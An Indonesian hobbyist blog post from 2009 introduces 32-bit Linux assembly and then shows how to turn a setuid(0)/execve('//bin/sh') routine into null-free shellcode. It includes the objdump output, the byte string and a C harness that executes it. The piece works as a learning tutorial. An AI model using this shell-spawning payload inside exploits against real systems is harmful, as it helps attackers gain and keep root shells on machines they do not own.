Main My profile Registration Log out Login
Friday
17.5.2024
5:49:53 PM
Welcome Guest | RSS LoginRegistrationMain
Site menu
Our poll
Rate my site
Total of answers: 5
Statistics

Total online: 1
Guests: 1
Users: 0
About You
IP
Counter
Free Hit Counter
Main » 2009 » December » 1 » Assembly 32 bit and shellc0d3
Assembly 32 bit and shellc0d3
11:33:04 AM
Pengen belajar asm, ribet sih:))

eh dapet dari web mywisdom http://wisdomc0d3.wordpress.com/
izin copy ya om :D

instruksi dasar yg sering dipake:

-mov artinya move (pindahkan)
contoh dg assembly 16 bit:
misal mov ah,09h = pindahkah ke register ah nilai 9 hexadesimal -> syarat interup 21 hexa fungsi 9 hexa
misal kita mao panggil int 21 h fungsi 9 hexa untuk menampilkan teks di layar.

-jmp artinya jump (loncat)
bisa dipakai untuk loncat misal ke macro (macro atau prosedur cuma ada di asm 16 bit di 32 bit gak ada macro)

-push -> dorong (untuk menyimpan)
misal untuk menyimpan data ke stack pointer

- pop -> ambil ( untuk mengambil data dari stack)

- jne -> jump if not equal (lompat jika tidak sama)

- jnz -> jump if not zero (lompat jika bukan zero)

- jnc -> jump if not carry (lompat jika tidak ada sisa)

- lea -> load effective address

- and -> logika and

untuk lebih lengkapnya silahkan cari di google dg keyword: "assembly language instruction”

Model Pemrograman

perbedaan menonjol antara model pemrograman asm bisa dilihat dari register2 yang banyak dia pakai.

- model asm 8 bit
mengunakan register: AH,AL,BH,BL,CH,CL,DH,DL

-model 16 bit
menggunakan register : AX,BX,CX,DX,SP,BP,DI,SI,IP,FLAGS,CS,DS,ES,SS,FS,GS

- model 32 bit
menggunakan regi: EAX, EBX,ECX,EDX,ESP,EBP,EDI,EIP (return address -> ini dia yang banyak dimanfaatkan hacker pada saat nilai kembali berusaha dioverwrite utk point ke instruksi yang ilegal)

contoh syscall dg asm:

karena yg ngetrend adl yg 32 bit maka kita akan coba langsung aja prakteknya di bawah ini:

dalam kasus ini kita akan memanggil 2 syscall nomer 1 (sys_exit) dan syscall nomer 4 (sys_write) berikut ini contoh basic asm yg menggunakan 2 syscall tadi:
(btw ni asm 32 bit di linux tar kita kompile pake nasm (netwide assembler) kita jadikan elf binary
file name: mywisdom.asm

section .data
tes db ‘mywisdom’,10;db artinya define byte di mana var tes diisi string mywisdom

section .text
global _start

_start:
mov edx,8 ;panjang string mywisdom
mov ecx,tes ; ecx diisi data tadi
mov ebx, 1 ; ebx diisi 1 syarat sycall no 4
mov eax, 4 ; mo mangil syscall no 4 yaitu write
int 80h ;interup 80 hexa utk eksekusi syscall

mov ebx,0
mov eax,1 ;
int 80h ;keluar program

untuk lebih jelasnya ini gw sengaja upload daftar table syscall bisa diliat di sini:

http://bluemaster.iu.hio.no/edu/ca/lin-asm/syscalls.html

selanjutnya simpan dengan nama file mywisdom.asm

cara kompile:

nasm -f elf mywisdom.asm
ld -o mywisdom mywisdom.o
oya selain itu ada juga yg model 32 bit at&t kita kompile pake gas, biasanya ini banyak dipake di inline assembly.

CONTOH MEMBUAT SHELLC0DE DARI ASM
sebelum mulai ada aturanya:

peraturan shellc0de yang baik:
1. jangan terlalu panjang
2. jangan mengandung \x00 (terminate string)

ok dari asm c0de berikut ini:
filename: leqhi.asm
global _start
section .text
_start:
xor ecx,ecx
lea eax,[ecx+17h];setuid syscall
int 80h
push ecx;ecx = 0
push 0×68732f6e ;kalao diconvert jadi hs\n artinya sh krn selalu dibalik
push 0×69622f2f ;nib
mov ebx,esp
lea eax,[ecx+0Bh];syarat utk execve syscall harus load efektif address
int 80h
kompile:

nasm -f elf leqhi.asm
ld -o leqhi leqhi.o
lalu untuk membuat shellc0denya kita disassembly .section text:

root@DL:/mnt/sda12/root/c/asm# objdump -d leqhi

sh:     file format elf32-i386

Disassembly of section .text:

08048060 <_start>:
8048060:    31 c9                    xor     %ecx,%ecx
8048062:    8d 41 17               lea      0×17(%ecx),%eax
8048065:    cd 80                    int      $0×80
8048067:    51                        push   %ecx
8048068:    68 6e 2f 73 68       push   $0×68732f6e
804806d:    68 2f 2f 62 69        push   $0×69622f2f
8048072:    89 e3                    mov   %esp,%ebx
8048074:    8d 41 0b                lea     0xb(%ecx),%eax
8048077:    cd 80                     int     $0×80
root@DL:/mnt/sda12/root/c/asm#
ok shellcode dari hasil objdump di atas adalah:

\x31\xc9\x8d\x41\x17\xcd\x80\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x8d\x41\x0b\xcd\x80

ok template utk eksekusi shellcode yg kali ini akan kita pakai adl:

#include <stdio.h>
int main()
{
char shellcode[]=”bagian yang diapit ini akan kita sisipkan shellcode kita”;
(*(void (*)()) shellcode)();
}

di mana bagian yang ada tulisan: "bagian yang diapit ini akan kita sisipkan shellcode kita”
tadi akan kita sisipkan shellcode hasil konvert sehingga menjadi shellc0de kita di bawah ini:

filename: hack.c

#include <stdio.h>
int main()
{
char shellcode[]=”\x31\xc9\x8d\x41\x17\xcd\x80\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x8d\x41\x0b\xcd\x80″;
(*(void (*)()) shellcode)();
}

selanjutnya tingal dikompile:

gcc -o hack hack.c
ok sekian dan selanjutnya akan ane lanjut laen kali krn sudah waktunya kerja lagi. trims


Maksih om dom2 :D

Views: 931 | Added by: 000jericho | Rating: 0.0/0 |
Total comments: 1
1 ronald  
0
wew wew wew... dapet darimana nih ekstension "at.ua"? mo bikin juga dong dong dong... caranya gimana jer.??? hehehehe

Name *:
Email *:
Code *:
Login form
Search
Calendar
«  December 2009  »
SuMoTuWeThFrSa
  12345
6789101112
13141516171819
20212223242526
2728293031
Entries archive
Links
Forum  ========================== ..::Forum::..  ==========================
Firends
Friends  ========================== ..::Friends::..  ==========================

Copyright Jericho © 2024
Powered by uCoz